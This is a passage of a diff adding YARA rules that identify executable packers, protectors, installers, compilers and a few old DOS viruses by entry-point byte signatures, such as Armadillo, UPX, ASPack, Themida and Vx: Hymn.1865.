+		$0 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v300a_
+{
+	meta:
+		description = "Armadillo v3.00a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _xPEP_03x__xIkUg_
+{
+	meta:
+		description = "xPEP 0.3x -> xIkUg"
+	strings:
+		$0 = {55 53 56 51 52 57 E8 16 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftComp_1x__BG_Soft_PT_
+{
+	meta:
+		description = "SoftComp 1.x -> BG Soft PT"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+	condition:
+		$0
+}
+rule _EXECryptor_2xx_max_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.xx (max. compressed resources)"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+	condition:
+		$0
+}
+rule _Vx_VCL_
+{
+	meta:
+		description = "Vx: VCL"
+	strings:
+		$0 = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v11__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.1 -> CGSoftLabs"
+	strings:
+		$0 = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v25x__v26x_
+{
+	meta:
+		description = "Armadillo v2.5x - v2.6x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [aPLib] -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Pack_v099_
+{
+	meta:
+		description = "PE Pack v0.99"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _PUNiSHER_v15_DEMO__FEUERRADERAHTeam_
+{
+	meta:
+		description = "PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam"
+	strings:
+		$0 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+		$1 = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_v13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+		$1 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _EXEStealth_276_Unregistered__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.76 Unregistered -> WebtoolMaster"
+	strings:
+		$0 = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+	condition:
+		$0
+}
+rule _Obsidium_1333__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.3 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CreateInstall_Stub_vxx_
+{
+	meta:
+		description = "CreateInstall Stub vx.x"
+	strings:
+		$0 = {55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56}
+	condition:
+		$0 at entrypoint
+}
+rule _SuckStop_v111_
+{
+	meta:
+		description = "SuckStop v1.11"
+	strings:
+		$0 = {EB ?? ?? ?? BE ?? ?? B4 30 CD 21 EB ?? 9B}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211c__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11c -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 59 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v020_
+{
+	meta:
+		description = "PC Shrinker v0.20"
+	strings:
+		$0 = {E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v037__v038_Beta_Strip_base_relocation_table_Option_Dwing_
+{
+	meta:
+		description = "Upack v0.37 ~ v0.38 Beta (Strip base relocation table Option)-> Dwing"
+	strings:
+		$0 = {53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33}
+	condition:
+		$0
+}
+rule _UPX_20030X__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.00-3.0X -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _PEProtect_09_by_Cristoph_Gabler_1998_
+{
+	meta:
+		description = "PE-Protect 0.9 by Cristoph Gabler 1998"
+	strings:
+		$0 = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v14_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)"
+	strings:
+		$0 = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig1_
+{
+	meta:
+		description = "MS Visual C++ v.8 DLL (h-small sig1)"
+	strings:
+		$0 = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftProtect__SoftProtectbyru_
+{
+	meta:
+		description = "SoftProtect -> SoftProtect.by.ru"
+	strings:
+		$0 = {EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 60 E8 03 ?? ?? ?? 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 EB 01 83 9C EB 01 D5 EB 08 35 9D EB 01 89 EB 03 0B EB F7 E8 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 59 83 01 01 80 39 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v101__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.01 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard_v20065xx_exe__sign_by_hot_UNP_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.exe) -> sign by hot_UNP"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220b1_
+{
+	meta:
+		description = "Armadillo v2.20b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v11_
+{
+	meta:
+		description = "FSG v1.1"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypter_
+{
+	meta:
+		description = "PE-Crypter"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D EB 26}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_joiner__Amok_
+{
+	meta:
+		description = "EXE joiner -> Amok"
+	strings:
+		$0 = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+	condition:
+		$0 at entrypoint
+}
+rule _NTPacker_10__ErazerZ_
+{
+	meta:
+		description = "NTPacker 1.0 -> ErazerZ"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PAKSFX_Archive_
+{
+	meta:
+		description = "PAK-SFX Archive"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v4_
+{
+	meta:
+		description = "Dev-C++ v4"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+	condition:
+		$0
+}
+rule _Thinstall_25___
+{
+	meta:
+		description = "Thinstall 2.5 -> ???"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [WATCOM C/C++ EXE] --> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_24222428__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.422-2.428 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Grazie883_
+{
+	meta:
+		description = "Vx: Grazie.883"
+	strings:
+		$0 = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1802_p__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.0.2 + -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v2xx_
+{
+	meta:
+		description = "PECompact v2.xx"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0
+}
+rule _PEArmor_04600759__hying_
+{
+	meta:
+		description = "PE-Armor 0.460-0.759 -> hying"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+	condition:
+		$0
+}
+rule _EncryptPE_12003518__WFS_
+{
+	meta:
+		description = "EncryptPE 1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__3_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #3"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MinGW GCC 2.x] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Minke_V101__Codius_
+{
+	meta:
+		description = "Minke V1.0.1 -> Codius"
+	strings:
+		$0 = {26 3D 4F 38 C2 82 37 B8 F3 24 42 03 17 9B 3A 83 01 00 00 CC 00 00 00 00 06 00 00 00 01 64 53 74 75 62 00 10 55 54 79 70 65 73 00 00 C7 53 79 73 74 65 6D 00 00 81 53 79 73 49 6E 69 74 00 0C 4B 57 69 6E 64 6F 77 73 00 00 8A 75 46 75 6E 63 74 69 6F 6E 73}
+	condition:
+		$0
+}
+rule _PEiDBundle_v100__v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 - v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10_Build_20041213_test__vcasm_
+{
+	meta:
+		description = "VProtector V1.0 [Build 2004.12.13] test! -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _SEAAXE_v22_
+{
+	meta:
+		description = "SEA-AXE v2.2"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v14_LITE__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress v1.4 LITE -> BG Software Protect Technologies"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+		$1 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Simple_UPX_Cryptor_V3042005__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor V30.4.2005 -> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _TheHypers_protector__TheHyper_
+{
+	meta:
+		description = "TheHyper's protector -> TheHyper"
+	strings:
+		$0 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hymn1865_
+{
+	meta:
+		description = "Vx: Hymn.1865"
+	strings:
+		$0 = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 7.0 DLL] --> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b1_
+{
+	meta:
+		description = "Armadillo v1.90b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Pksmart_10b_
+{
+	meta:
+		description = "Pksmart 1.0b"
+	strings:
+		$0 = {BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _PENinja_modified_
+{
+	meta:
+		description = "PENinja modified"
+	strings:
+		$0 = {5D 8B C5 81 ED B2 2C 40 00 2B 85 94 3E 40 00 2D 71 02 00 00 89 85 98 3E 40 00 0F B6 B5 9C 3E 40 00 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Neolite_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0] --> Anorganix"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v12x_New_Strain_
+{
+	meta:
+		description = "ASProtect v1.2x (New Strain)"
+	strings:
